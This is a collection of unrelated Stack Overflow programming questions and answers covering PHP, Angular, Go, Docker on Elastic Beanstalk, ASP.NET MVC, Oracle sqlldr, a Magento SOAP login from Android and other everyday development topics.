18665445	0	PHP inverse function for base_convert? <p>I have to do arithmetic with some ternary (base 3) numbers. I know I can use base_convert to get from a ternary string ("2001022210") to an integer. Is there an existing function to do the inverse?</p> <p>I want "some_function" such that:</p> <pre><code>$someInteger = base_convert("2001022210", 10, 3); some_function($someInteger); </code></pre> <p>answers "2001022210". I'm happy to provide extra arguments ...</p> <pre><code>some_function($someInteger, 3); some_function($someInteger, 3, 10); </code></pre> <p>I know I can code this myself, but I'm hoping it's already there.</p>
39332949	0	 <p>I am not really sure what you mean by integrating bootstrap with Meanjs, according to me it is already integrated in the default app. If you go to <code>config/assets/default.js</code> and <code>config/assets/production.js</code> (one is for development and the other for production) under <code>client.lib.css</code> and <code>client.lib.js</code> the bootstrap modules are specified. These modules are loaded in <code>modules/core/server/views/layout.server.view.html</code> just under the comments <code>&lt;!-- Application CSS Files --&gt;</code> and <code>&lt;!--Application JavaScript Files--&gt;</code> when the application starts.</p> <p>If you want to upgrade to the latest Bootstrap just change the version number in your <code>bower.json</code> file and run the command <code>bower update</code>. </p>
12253702	0	 <p>You can add needful system qml-files to your project and edit it. For your example, change code from PageStack.qml:</p> <pre><code>// Start state for pop entry, end state for push exit. State { name: "left" PropertyChanges { target: container; x: -width } }, // Start state for push entry, end state for pop exit. State { name: "right" PropertyChanges { target: container; x: width } }, </code></pre> <p>to</p> <pre><code>// Start state for pop entry, end state for push exit. State { name: "left" PropertyChanges { target: container; x: width } }, // Start state for push entry, end state for pop exit. State { name: "right" PropertyChanges { target: container; x: -width } }, </code></pre> <p>And I also want to know how to do it easier.</p>
14589676	0	 <p>One traditional "Microsoft" answer to this is to let them keep using Access... only point it at the SQL server and just let them build their custom queries there.</p> <p>If you want to get fancy, you can build in a query user role and account, grant only read access to it, and even limit that baked-in role user account to some percentage of the total system load with the Resource Governor stuff if necessary.</p> <p>There is no shame in prototyping new stuff in Access before rolling it up into real code, either.</p>
11101158	0	How to work with initialize.php? <p>I want to learn and work with <strong>initialize.php</strong> so I try to build simple php file like <strong>index.php</strong> and just to see if it call to <strong>hello.php</strong> I got some truble on my local host using windows xp.</p> <p>the details are:</p> <p><strong>http://127.0.0.1/www/oop/shape2/index.php</strong> the file <strong>index.php</strong></p> <pre><code>&lt;?php defined('DS') ? null : define('DS', '/'); defined('SITE_ROOT') ? null :defined('SITE_ROOT', $_SERVER['DOCUMENT_ROOT']); defined('LIB_PATH') ? null : define('LIB_PATH', SITE_ROOT.DS.'includes'); echo (LIB_PATH.DS.'hello.php'); require_once(LIB_PATH.DS.'hello.php'); ?&gt; </code></pre> <p><strong>the output is:</strong></p> <pre><code>SITE_ROOT/includes/hello.php </code></pre> <p><strong>http://127.0.0.1/www/oop/shape2/includes/hello.php</strong> the file <strong>hello.php</strong></p> <pre><code>&lt;?php echo ('hi'); ?&gt; </code></pre> <p>if i run it I got <code>hi</code></p> <p>here is my local folder on windows: <strong>C:\Program Files\Zend\Apache2\htdocs\www\oop\shape2</strong></p> <p>what shell I do slove the problem. Thx</p>
37569777	0	PHP image generator caching <p>I have a script that takes an image and generates a resized version. </p> <p>i.e. requesting <code>/images/50x50-logo.png</code> will call <code>image-conroller.php</code> which will then return a <code>50x50</code> version of <code>logo.png</code></p> <p>The image is returned using;</p> <pre><code>header('Content-Type: '.mime_content_type($sOutputPath)); readfile($sOutputPath); </code></pre> <p>As far as I'm aware, using this method to return the image, there is no safe way to check if the user already has a cached a version of this image. So how am I supposed to know if to send a <code>304</code> or serve the image?</p> <p>Would someone please mind explaing if it's possible to achieve this. Or provide some direction to a soloution/workaround?</p> <p>N.B. I can't think of a suitable title, any suggestions/edits would be apprecaited.</p>
8308572	0	 <p>I think that they mean <code>string</code>, <code>number</code>, <code>boolean</code> and <code>undefined</code> because when you assign them to another variable, you copy the value, not a pointer.</p> <pre><code>var a = 'abc'; var b = a; a = 'def'; // b === 'abc' var a = { b: 'abc' }; var b = a; a.b = 'def'; // b.b === 'def' </code></pre>
10052748	0	 <p>When you create a new App Engine project, all the required libraries are automatically added to the <a href="http://www.jetbrains.com/idea/webhelp/configuring-module-dependencies-and-libraries.html" rel="nofollow noreferrer">Module Dependencies</a>:</p> <p><img src="https://i.stack.imgur.com/LcjVO.png" alt="libraries"></p> <p>If you need more libraries, you should add them to the <a href="http://www.jetbrains.com/idea/webhelp/configuring-module-dependencies-and-libraries.html" rel="nofollow noreferrer">Dependencies</a> manually and then <a href="http://www.jetbrains.com/idea/webhelp/configuring-artifacts.html" rel="nofollow noreferrer">configure the Artifact</a> to include the libs:</p> <p><img src="https://i.stack.imgur.com/OTWxR.png" alt="artifact"></p> <p>If you are using API from <code>lib/shared</code> in your code, you need to add these jars to the dependencies as well, but with the <strong>Provided</strong> scope (and don't add it to the Artifact).</p>
29391036	0	How to remove unknown white border of asp:image inside panel <p>I have white border of an asp:image control and i want to remove it but can't find where the problem is</p> <p>here is my html and css:</p> <pre><code>&lt;asp:Panel runat="server" CssClass="nav" ID="nav"&gt; &lt;asp:Image runat="server" ID="Logo" CssClass="logo" /&gt; &lt;asp:LinkButton runat="server" ID="lb1" CssClass="navButtons"&gt;Home&lt;/asp:LinkButton&gt; &lt;asp:LinkButton runat="server" ID="LinkButton1" CssClass="navButtons"&gt;Restorant&lt;/asp:LinkButton&gt; &lt;asp:LinkButton runat="server" ID="LinkButton2" CssClass="navButtons"&gt;Rooms&lt;/asp:LinkButton&gt; &lt;asp:LinkButton runat="server" ID="LinkButton3" CssClass="navButtons"&gt;Spa&lt;/asp:LinkButton&gt; &lt;asp:LinkButton runat="server" ID="LinkButton4" CssClass="navButtons"&gt;Contact&lt;/asp:LinkButton&gt; &lt;asp:LinkButton runat="server" ID="LinkButton5" CssClass="navButtons"&gt;Contact&lt;/asp:LinkButton&gt; &lt;asp:LinkButton runat="server" ID="LinkButton6" CssClass="navButtons"&gt;Contact&lt;/asp:LinkButton&gt; &lt;/asp:Panel&gt; </code></pre> <p>the image with ID="Logo" is white bordered and i need to remove this border</p> <p>CSS of image and Nav panel:</p> <pre><code>.logo { width:100%; height:150px; background-image:url(Background/logo.jpg); float:left; background-repeat:no-repeat; -moz-background-size: 100% 100%; -o-background-size: 100% 100%; -webkit-background-size: 100% 100%; background-size: 100% 100%; position:relative; border:none; } .nav { position:absolute; background-color:black; opacity:0.6; filter: alpha(opacity=60); height:550px; width:250px; z-index:3; max-height:550px; max-width:250px; } </code></pre>
32530517	0	 <p>"Global" means global to the module. Your <code>x</code> is not global; it is local to <code>banana</code>, but not to <code>apple</code>.</p> <p>In Python 3, you can use <code>nonlocal x</code> to make <code>x</code> assignable inside <code>apple</code>. In Python 2 there is no way to assign to <code>x</code> from inside <code>apple</code>. You must use a workaround such as making <code>x</code> a mutable object and mutating it (instead of assigning to it) in <code>apple</code>.</p>
14784187	0	Validating input values with an if/else statement in C++ <p>So I've looked around but I'm apparently either not looking in the right place or I'm misunderstanding something.</p> <p>The directions given are that the program can only accept values between 2.0 and 5.0 for vault heights. I get the feeling it has to do with my if condition but I'm not sure how to correct it. </p> <p>When I input the height during debugging, it jumps to my else statement, and doesn't give me a chance to re-enter the new input.</p> <pre><code>//Retrieving name and first vault and date cout &lt;&lt; "Please enter the name of the pole vaulter.\n"; getline(cin, name); cout &lt;&lt; "Please enter the height of the first vault attempt.\n"; cin &gt;&gt; vault1; if(5.0 &gt;= vault1 &gt;= 2.0) { cout &lt;&lt; "What date was this vault accomplished?\n"; getline(cin, date1); } else { cout &lt;&lt; "Only jumps between 2.0 meters and 5.0 meters are valid inputs. Please enter the height of the first vault attempt.\n"; cin &gt;&gt; vault1; cout &lt;&lt; "What date was this vault accomplished?\n"; getline(cin, date1); } </code></pre>
5475468	0	 <p>There aren't really a great number of ways to do it. In fact, there's the recommended way - via Apache/mod_wsgi - and all the other ways. The recommended way is fully documented <a href="http://docs.djangoproject.com/en/1.3/howto/deployment/modwsgi/" rel="nofollow">here</a>.</p> <p>For a low-traffic site, you should have no trouble fitting it in your 512MB VPS along with your PHP sites. </p>
22543814	0	 <p>You could just use <code>transitionTo()</code>. </p> <p>Alternatively <a href="http://stackoverflow.com/questions/19076834/change-url-without-transition">this answer</a> suggests using </p> <pre><code>Ember.HistoryLocation.replaceState(&lt;string&gt;); </code></pre> <p>or </p> <pre><code>router.replaceWith('index'); </code></pre>
23121026	0	Sorting by time.Time in Golang <p>I am trying to sort struct in GOlang by its member which is of type time.Time. the structure is as follows.</p> <pre><code>type reviews_data struct { review_id string date time.Time score int firstname string anonymous bool review_text string title_text string rating float64 upcount int } </code></pre> <p>I have the below functions for sorting </p> <pre><code>type timeSlice []reviews_data // Forward request for length func (p timeSlice) Len() int { return len(p) } // Define compare func (p timeSlice) Less(i, j int) bool { return p[i].date.Before(p[j].date) } // Define swap over an array func (p timeSlice) Swap(i, j int) { p[i], p[j] = p[j], p[i] } </code></pre> <p>A map is defined as follows</p> <pre><code>var reviews_data_map = make(map[string]reviews_data) </code></pre> <p>After the map gets filled with values,sorting of the map by values is done as below</p> <pre><code>//Sort the map by date date_sorted_reviews := make(timeSlice, 0, len(reviews_data_map)) for _, d := range reviews_data_map { date_sorted_reviews = append(date_sorted_reviews, d) } sort.Sort(date_sorted_reviews) </code></pre> <p>The problem is that the result is not sorted.Can anyone tell me what the problem is. Thanks in advance.</p>
5106465	0	 <p>If you want the five themes that have the most items in common with a given theme, you might try something like:</p> <pre><code>DECLARE @target_id_theme INT; SET @target_id_theme = 1; -- this is the id_theme you want to find similar themes for SELECT t.id_theme, COUNT(*) as matching_things FROM theme AS t LEFT OUTER JOIN theme_color AS tc ON tc.id_theme = t.id_theme LEFT OUTER JOIN theme_tag AS tt ON tt.id_theme = t.id_theme WHERE tc.id_color IN (SELECT id_color FROM theme_color WHERE id_theme = @target_id_theme) OR tt.id_tag IN (SELECT id_tag FROM theme_tag WHERE id_theme = @target_id_theme) GROUP BY t.id_theme ORDER BY COUNT(*) DESC LIMIT 5 </code></pre> <p>Not tested, buyer beware, but I hope you get the idea. This creates a row for every color or tag that matches a color or tag assigned to the @target_id_theme, orders them by count descending, and gives you the top 5.</p>
21028662	0	Calculate variable based on remainder <p>How do I use JavaScript to calculate the <code>x</code> value in this formula?</p> <pre><code>(x * y) % z = 1 </code></pre> <p><code>y</code> and <code>z</code> are known integers.</p> <p>For example, <code>y = 7</code>, <code>z = 20</code>. 3 multiplied by 7 results into 21, that divided by 20 results into remainder of 1. Solution <code>x = 3</code>.</p> <p>(3 * 7) % 20 = 1</p>
5651934	0	 <p>I had to change the line:</p> <pre><code>return err!=nil &amp;&amp; [res statusCode]!=404; </code></pre> <p>to </p> <pre><code>return err==nil &amp;&amp; [res statusCode]!=404; </code></pre> <p>for the correct Bool return. The error should remain nil.</p>
27589943	0	docker and elastic beanstalk container stopped unexpectedly and permission denied <p>I am trying to extend <a href="https://github.com/Ir1sh/dockeractivator" rel="nofollow">this docker image</a> which is provisioned with ansible and build successfully on <a href="https://registry.hub.docker.com/u/ir1sh/dockeractivator/" rel="nofollow">docker hub</a> at least, part of this image includes a user called play which owns a directory called /home/play/Code that has 755 permissions. I am using boot2docker on mac</p> <p>This is my docker file locally</p> <pre><code>FROM ir1sh/dockeractivator MAINTAINER Mark Moore EXPOSE 9000 </code></pre> <p>which builds ok and when I run</p> <pre><code>docker run --rm -it -v "/my/local/dir:/home/play/Code" -p 9000:9000 300b01a6199c </code></pre> <p>the container starts correctly and I get a session with user root starting in /home/play/Code. If I add -u play to that commade I get a session with the play user instead in the same directory.</p> <p>Now if I push that container to elastic beanstalk with their cli tool I get the following error</p> <blockquote> <p>Output: [CMD-AppDeploy/AppDeployStage0/AppDeployPreHook/04run.sh] command failed with error code 1: /opt/elasticbeanstalk/hooks/appdeploy/pre/04run.sh b07ae15d619ad90441f6f410a31a7d51885151c92cd8675c5d8e47f63b43dd95 Docker container quit unexpectedly after launch: Docker container quit unexpectedly on Sun Dec 21 13:36:06 UTC 2014:. Check snapshot logs for details..</p> </blockquote> <p>The logs aren't very enlightening</p> <p>Now per another suggestion I dont have a CMD or an ENTRYPOINT in my docker file so I add those.</p> <pre><code>FROM ir1sh/dockeractivator MAINTAINER Mark Moore EXPOSE 9000 ENTRYPOINT ["/home/play/Code", "-DFOREGROUND"] CMD [] </code></pre> <p>The image builds but now when I try docker run with the same options as above I get </p> <blockquote> <p>exec: "/home/play/Code": permission denied2014/12/21 13:34:33 Error response from daemon: Cannot start container 2703462a68a32e8d774e9b4d8cbc3c809e79f53bb1d08f0398b45436d07546a3: exec: "/home/play/Code": permission denied</p> </blockquote> <p>This happens whether I try to start the session as root or as play. I get the same error if I push this dockerfile to elastic beanstalk so its not related to boot2docker Any idea what my permission problem is here? I have tried changing that directories permission to 777 to no avail</p> <p>edit1: running as privileged also does not help</p> <p>edit2: changing the dockerfile to </p> <pre><code>FROM ir1sh/dockeractivator MAINTAINER Mark Moore EXPOSE 9000 CMD ["bash"] </code></pre> <p>Allows me to run the container locally but afterpushing to elastic beanstalk I get the container quit unexpectedly error again</p>
4938961	0	 <ul> <li><p><strong>ODBC</strong> is the very old, long gone DB-access standard - don't use it unless you absolutely must. (it was "hip" back in the 1990's or so)</p></li> <li><p><strong>SqlClient</strong> is the .NET bare-bones ADO.NET level of accessing SQL Server databases, and the foundation for all other technologies. It can basically do anything with SQL Server that you need to do - run data queries, run DDL queries, execute stored procedures and so forth. It's fairly basic and bare-bones, e.g. you have to type a lot of repeating, boring code yourself</p></li> <li><p><strong>EnterpriseLibrary.Data</strong> is a layer on top of ADO.NET which simplifies common tasks by handling some of the repetitive code for you.</p></li> </ul> <p>There are additional things on top of the ADO.NET foundation - things like NHibernate, Entity Framework and so forth - but the <strong>SqlClient</strong> / ADO.NET is really the basis for all current, modern database access (to SQL Server, mostly) in the .NET world</p>
7626779	0	 <pre><code>netstat -a -o </code></pre> <p>prints it. I suppose they are on the same machine becase you are listening on 127.0.0.1.</p>
25589120	0	Harder investigation of a really strange unexpected result <p>I posted before about that problem.. but the problem couldn't be solved. So i can honestly say that is the weirdest, unexplained complication i ever had in my programming experience.</p> <p>The problem is when i draw a bmp from buffer. <img src="https://i.stack.imgur.com/f3134.png" alt="enter image description here"></p> <p>If i change the image's dimension for example if i make width > height or height > width, the images goes rendered normally. Take a look at the code:</p> <pre><code>void bmp_bdraw (BYTE* BUFF) { word WIDTH, HEIGHT, W, H; // word - unsigned short BYTE R, G, B; // BYTE - unsigned char (!BUFF || !BUFF[COUNT-1]) ? // debug1 (error("Error in function 'bmp_bdraw'. There is no data to read from.")) : ; WIDTH = BUFF[18] + BUFF[19] * 256; HEIGHT = BUFF[22] + BUFF[23] * 256; ofs = 54; if(BUFF[0] != 'B' | BUFF[1] != 'M') error // debug2 ("Warning: Data identifier error in function 'bmp_bdraw' occurred. Invalid BMP file loaded."); for(H=HEIGHT-1; H&gt;=1; H--) { for(W=0; W&lt;WIDTH; W++) { B = sgetc(BUFF); // fgetc-like function but from buff G = sgetc(BUFF); R = sgetc(BUFF); setpen(R, G, B, 0, 1); // sets the color, transparancy and size of the pen putpixel(W, H); // and puts the pixel at the right location } } if(W != WIDTH || H &gt; 1) // debug3 error("Error in function 'bmp_bdraw'. Rendering failed. The file might be damaged."); if(real_fps &lt; 11) error("Too low fps rate."); // debug4 </code></pre> <p>What i have noticed in the line: <code>for(H=HEIGHT-1; H&gt;=1; H--)</code> is the <code>H&gt;=1</code> In the direct draw (bmp to render) function (that works 100% and uses the same method) it is <code>H&gt;=0</code> However.. if i change the <code>H&gt;=1</code> to <code>H&gt;=0</code> it returns an error for buffer overflow, returned by the <code>sgetc</code> function.</p>
34596800	0	 <p><code>ActionLink</code> helper method renders an anchor tag. It is ok to pass few query string items via a link. Remember Query string <a href="http://stackoverflow.com/questions/812925/what-is-the-maximum-possible-length-of-a-query-string">has a limit</a> about how much data you can pass and it varies from browser to browser.</p> <p>What you should be doing is a form posting. You can do a form posting on a click event on a div with the help of a little javascript.</p> <p>Let's create a new view model for our search page</p> <pre><code>public class SearchVm { public List&lt;SelectListItem&gt; Operators { set; get; } public List&lt;SearchViewModel&gt; Filters { set; get; } } public class SearchViewModel { //Property has a property called "SqlColumnName" public Property Property { get; set; } public SearchOperator Operator { get; set; } public string Value { get; set; } } </code></pre> <p>So in your GET action, You will send a list of <code>SearchViewModel</code> to the view.</p> <pre><code>public ActionResult Index() { var search = new SearchVm { Filters = new List&lt;SearchViewModel&gt; { new SearchViewModel {Property = new Property {SqlColumn = "Name"}}, new SearchViewModel {Property = new Property {SqlColumn = "Age"}}, new SearchViewModel {Property = new Property {SqlColumn = "Location"}} } }; //Convert the Enums to a List of SelectListItem search.Operators= Enum.GetValues(typeof(SearchOperator)).Cast&lt;SearchOperator&gt;() .Select(v =&gt; new SelectListItem { Text = v.ToString(), Value = ((int)v).ToString() }).ToList(); return View(search); } </code></pre> <p>And in your view, which is strongly typed to your <code>SearchVm</code> view model, We will manipulate the form field names so that the model binding will work when the form is submitted.</p> <pre><code>@model SearchVm @using (Html.BeginForm()) { var i = 0; foreach (var criteria in Model.Filters) { &lt;label&gt;@criteria.Property.SqlColumn&lt;/label&gt; @Html.HiddenFor(f =&gt; f.Filters[i].Property.SqlColumn) @Html.DropDownList("Filters[" + i+ "].Operator",Model.Operators) @Html.TextBoxFor(f=&gt;f.Filters[i].Value) i++; } &lt;div id="someDiv"&gt;Search button using Div&lt;/div&gt; &lt;input type="submit" value="Search" /&gt; } </code></pre> <p>And your HttpPost action method to handle the form submit.</p> <pre><code>[HttpPost] public ActionResult Index(SearchVm model) { foreach(var f in model.Filters) { //check f.Property.SqlColumn, f.Value &amp; f.Operator } // to do :Return something useful } </code></pre> <p>If you want the form to be submitted on the click event on the div, Listen to the click event on the specific div and call the submit method on the form the div resides in.</p> <pre><code>&lt;script&gt; $(function () { $("#someDiv").click(function(e) { $(this).closest("form").submit(); }); }); &lt;/script&gt; </code></pre>
4895049	0	 <p>I'm assuming the solution you're mentioning in the comment is something like this:</p> <p>Start at the left or right (so index = 0), and scan which bits are set (upto 100 operations). Name that set x. Also set a variable block=0.</p> <p>At index=1, repeat and store to set y. If x XOR y = 0, both are identical sets, so move on to index=2. If it x XOR y = z != 0, then range [block, index) is contiguous. Now set x = y, block = index, and continue.</p> <p>If you have 100 bit-arrays of length 22 each, this takes something on the order of 2200 operations.</p> <p>This is an optimum solution because the operation cannot be reduced further -- at each stage, your range is broken if another set doesn't match your set, so to check if the range is broken you must check all 100 bits.</p>
40844610	0	Represent Runner competitors using Java multithreading <p>I need to represent 10 runner who run on a 100 meter track , and display the winner ( who finishes the track first ) and the time he took to finish the track . I am beginner so I got multiple error in order to achieve this.</p>
4581263	0	 <p>I'm pretty sure if the app developer didn't build in such an api for you to hook into you are out of luck </p>
26288956	0	Regx + Java : split a text into words and removing punctuation only if they are alone or at the end <p>I am trying to split a string into words but I want to keep, "a.b.c" as a word, and remove the punctuation only if it is alone or at the end of a word e.g. </p> <pre><code>"a.b.c" --&gt; "a.b.c" "a.b." --&gt; "a.b" </code></pre> <p>e.g </p> <pre><code>String str1 = "abc a.b a. . b, , test"; should return "abc","a.b","a","b","test" </code></pre>
36171857	0	$LinkingMode Values in Silverstripe <p>Why use $LinkingMode in Silverstripe? How can the $LinkingMode of Silverstripe have only one value at a time when it can be a section and current at the same time or link and section as well?</p>
28642091	0	 <p>You can record a macro as you do it manually one time. Then assign that macro to a button. Then click the button anytime you need the sheet updated.</p> <p>Steps:</p> <ol> <li><p>Start on a sheet other than the one with the data. Explanation in #3 below.</p></li> <li><p>Start recording your macro by going to View > Macros > Record Macro. In the bottom left you'll now see a square stop button for when you want to stop recording.</p></li> <li><p>Select the sheet with the data. This way the macro will always remember to select the right sheet regardless of where you are.</p></li> <li><p>Select the two-column range of cells that has your data, then continue selecting a few hundred rows down, or at least well beyond where you think your data will eventually go down to.</p></li> <li><p>Copy</p></li> <li><p>Select the sheet where you want to have the summarized data.</p></li> <li><p>Paste</p></li> <li><p>Sort by name (ascending) and date (descending) all at once (rather than two operations). Do this by going to the Data tab in the ribbon and selecting the white and blue sort button that has two A's and two Z's and says "Sort".</p></li> <li><p>With this pasted and sorted range still selected, remove duplicates in the name column. To do this, do not change the selection. Go to the Data tab and select Remove Duplicates.</p></li> <li><p>Now your items will appear once and the date will be the most recent date.</p></li> <li><p>Click the "stop recording" square blue button in the bottom left to stop recording your Macro.</p></li> <li><p>You can assign this macro to a button or to a shortcut. To add a button you need to show the developer tab and then draw the button using one of the options on the developer tab. I can't remember offhand how to show the developer tab. Once you have a button, right click and assign the macro to the button.</p></li> </ol> <p>13A. If you want to customize the macro, click ALT+F11 to get to the visual basic editor. Double click on one of the things named something like "module" on the left and you can edit your the range in your macro, for example if your data suddenly goes down 100 more rows than what you planned and you want the macro to cover it. Save with CTRL+S. The next time you run your macro, it will reflect these changes.</p> <p>13B. View > Macros to edit your macro if you want to assign a shortcut key to it instead of adding a button.</p> <p>Try all this with a copy of your spreadsheet so that you don't delete data by accident.</p> <p>Does it work for you?</p>
26311271	0	Best way to define module for both node and client <p>I'm trying to write a small module that I want to be available both on the Browser and Node.js environment.</p> <p>So far I've come up with the following</p> <pre><code>(exports &amp;&amp; window = exports) (function(global){ // make it available to either exports OR window depending on the environment global.Awesome = function() { } })(window) </code></pre> <p>is that sufficient or is there any better way to do this? Thanks in advance.</p>
11928385	0	 <p><a href="http://en.wikipedia.org/wiki/Signature_block#E-mail_and_Usenet" rel="nofollow">http://en.wikipedia.org/wiki/Signature_block#E-mail_and_Usenet</a> gives an overview about email signatures. As guys already mentioned, signature is just a part of the email body. The only restrictions are: "<em>it should be delimited from the body of the message by a single line consisting of exactly two hyphens, followed by a space, followed by the end of line (i.e., "-- \n")</em>".</p>
30140474	0	Brute force Caesar Cipher <p>How do I make my program print the answers on separate lines + with what key the line corresponds to?</p> <pre><code>def break_crypt(message): for key in range(1,27): for character in message: if character in string.uppercase: old_ascii=ord(character) new_ascii=(old_ascii-key-65)%26+65 new_char=chr(new_ascii) sys.stdout.write(new_char), elif character in string.lowercase: old_ascii=ord(character) new_ascii=(old_ascii-key-97)%26+97 new_char=chr(new_ascii) sys.stdout.write(new_char), else: sys.stdout.write(character), </code></pre>
8727334	0	 <p>A few issues you can run into if you just kill the sqlldr process:</p> <ul> <li>If the number of commit rows is small you may have data already-commited which will now have to be removed. This may not matter if you are truncating the tables before use but the cleanup is an operational issue that is dependent upon your system.</li> <li>If the number of commit rows and the size of your file is large then you may get issues with the rollback segments being too small or the rollback itself taking a long time to complete (shouldn't an issue if you are using direct path).</li> </ul> <p>You can kill using <code>kill -9</code> as mentioned, or you can kill the session from within the database:</p> <pre><code>alter system kill session 'sid,serial#'; </code></pre> <p>If you are using Windows then you can use the <a href="http://www.oracleutilities.com/OSUtil/orakill.html" rel="nofollow">orakill</a> utility.</p>
28060089	0	rails protect_from_forgery raises with exception <p>I have Rails project which is working on production. But on localhost it raises on every POST request with <code>ActionController::InvalidAuthenticityToken</code>. I know what is it. AuthToken is protection from csrf attacks. I have in my <em>application_controller.rb</em></p> <p><code>protect_from_forgery with: :exception #this line raise exception</code></p> <p>and <code>csrf_meta_tags</code> present. I have no any problems in other Rails projects with it.</p> <p>If I remove param <code>with: :exception</code> session will reset after reloading page.</p> <p>what is the problem?</p>
23708509	0	 <p>It doesn't make sense to read the input until EOS and then expect to be able to write a response back to the same connection.</p> <p>You haven't actually written anything like an 'simple HTTP server yet. You need to study the HTTP RFC, in particular the part about content-length of requests. They are delimited by length, not by end of stream.</p>
7859487	0	Plot frequency of a value of 2 factors in the same plot in R <p>I'd like to plot the frequency of a variable color coded for 2 factor levels for example blue bars should be the hist of level A and green the hist of level B both n the same graph? Is this possible with the hist command? The help of hist does not allow for a factor. Is there another way around?</p> <p>I managed to do this by barplots manually but i want to ask if there is a more automatic method</p> <p><img src="https://i.stack.imgur.com/ZZkfj.png" alt="enter image description here"></p> <p>Many thanks EC</p> <p>PS. I dont need density plots</p>
22816450	0	Basic controllers comunication in angular.js <p>I have a project in Angular.js that consist of a login page and another page. I have a common navigation bar that resides in the "Layout", before then ng-view div. This navbar relies on a controller (let's say NavBarController), and based on the authenticated user, it shows some buttons or not. The problem is that when The user Log's in, the next page is loaded on then ng-view, but the NavVar controller do not know about this, so it does not refresh it's $scope, therefore the proper buttons wont show up.</p> <p>I guess my question is: How can I trigger a "Refresh" action on a controller based on another controller's function. ? is that event possible ? or do I have to repeat the nav bar inside every controller's html ?</p> <p>Here's my main html: </p> <pre><code>&lt;div ng-app='theApp'&gt; &lt;div data-ng-controller="NavBarController"&gt; &lt;nav class="navbar navbar-default" role="navigation"&gt; &lt;div class="container-fluid"&gt; &lt;div class="navbar-header"&gt; &lt;a class="navbar-brand"&gt;The App&lt;/a&gt; &lt;/div&gt; &lt;div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"&gt; &lt;ul class="nav navbar-nav"&gt; &lt;li class="active" ng-show="user.role == 'admin'"&gt;&lt;a href="#"&gt;Link visible only by admin&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Link visible by all&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;ul class="nav navbar-nav navbar-right"&gt; &lt;li class="dropdown"&gt; &lt;a href="#" class="dropdown-toggle" data-toggle="dropdown"&gt;{{ user.name }} &lt;b class="caret"&gt;&lt;/b&gt;&lt;/a&gt; &lt;ul class="dropdown-menu"&gt; &lt;li&gt;&lt;a href="#"&gt;Action&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Another action&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Something else here&lt;/a&gt;&lt;/li&gt; &lt;li class="divider"&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#" ng-click="LogOut()"&gt;Log out&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;/nav&gt; &lt;/div&gt; &lt;div ng-view&gt;&lt;/div&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.15/angular.min.js" /&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.15/angular-route.min.js" /&gt; &lt;script src="app/app.js"&gt;&lt;/script&gt; &lt;!-- controllers --&gt; &lt;script src="app/controllers/membershipController.js"&gt;&lt;/script&gt; &lt;script src="app/controllers/navBarController.js"&gt;&lt;/script&gt; &lt;!-- factories --&gt; &lt;script src="app/factories/membershipFactory.js"&gt;&lt;/script&gt; &lt;!-- services --&gt; &lt;script src="app/services/userService.js"&gt;&lt;/script&gt; &lt;/div&gt; </code></pre> <p>Now, the NavBarController is something like: </p> <pre><code>(function () { var NavBarController = function ($scope, UserService) { function init() { $scope.user = UserService.getUser(); /* functions */ $scope.LogOut = function () { UserService.clearUser(); }; } init(); } NavBarController.$injenct = ['$scope', 'UserService']; angular.module("theApp").controller('NavBarController', NavBarController); }()); </code></pre> <p>The initialization of angular is like: </p> <pre><code>(function() { var theApp = angular.module("theApp", ['ngRoute', 'ngCookies', 'ui.bootstrap']); angular.module("theApp").config(function($routeProvider){ $routeProvider .when('/', { controller: 'MembershipController', templateUrl: 'app/views/login.html' }) .when('/index', { templateUrl: 'app/views/index.html' }) .otherwise ( { redirectTo: '/' } ); }); }()); </code></pre> <p>login.html is just a typical login password page, that triggers the MembershipController Authenticate() function. It redirects to '/index' on successfull authentication and set's the User in the UserService. Now. the index.html page successfully renders at ng-view, but my navbar stays the same (initial state, no show the 'link visible by admin' link, nor the dropdown on the right.</p>
23941676	0	 <p>My solution has two steps:</p> <ol> <li>Collect the relevant elements from the original array, and sort them according to the subset order.</li> <li>Replace them in the original array with the new order.</li> </ol> <p>Here is the code:</p> <pre><code>mapped_elements = subset.map { |i| original.find { |j| j.keys == i.keys } } result = original.map do |i| if subset.find { |j| j.keys == i.keys } mapped_elements.shift else i end end </code></pre> <p>For <code>subset = [{c: "Gill", points: 2}, {b: "Will", points: 1}]</code> the result will be:</p> <pre><code>[{a: "Bill", points: 4}, {c: "Gill", points: 2}, {b: "Will", points: 3}, {d: "{Pill}", points: 1}] </code></pre> <p>For <code>subset = [{c: "Gill", points: 3}, {b: "Will", points: 2}, {a: "Bill", points: 1}]</code> the result will be:</p> <pre><code>[{c: "Gill", points: 3}, {b: "Will", points: 2}, {a: "Bill", points: 4}, {d: "Pill", points: 1}] </code></pre>
33914446	0	 <p>Try this class... its working for me...I am using <strong>Android ksoap2</strong> library...</p> <pre><code>private static final String NAMESPACE = "urn:Magento"; private static final String URL = "http://localhost:8888/Magento/index.php/api/v2_soap/"; private class magentoUserlogin extends AsyncTask&lt;String, String, String&gt; { @Override protected void onPreExecute() { super.onPreExecute(); } @Override protected String doInBackground(String... params) { Object result= null; try { SoapSerializationEnvelope env = new SoapSerializationEnvelope( SoapEnvelope.VER11); env.dotNet = false; env.xsd = SoapSerializationEnvelope.XSD; env.enc = SoapSerializationEnvelope.ENC; SoapObject request = new SoapObject(NAMESPACE, "login"); request.addProperty("username", "&lt;urSOAP/XML username&gt;"); request.addProperty("apiKey", "&lt;yourAPIKey&gt;"); env.setOutputSoapObject(request); HttpTransportSE androidHttpTransport = new HttpTransportSE(URL); androidHttpTransport.call("", env); result = env.getResponse(); } catch (Exception e) { e.printStackTrace(); } return result.toString(); } @Override protected void onPostExecute(String s) { super.onPostExecute(s); Log.d("sessionId", s.toString()); Toast.makeText(MainActivity.this, "Session ID: "+s, Toast.LENGTH_LONG).show(); } } </code></pre>
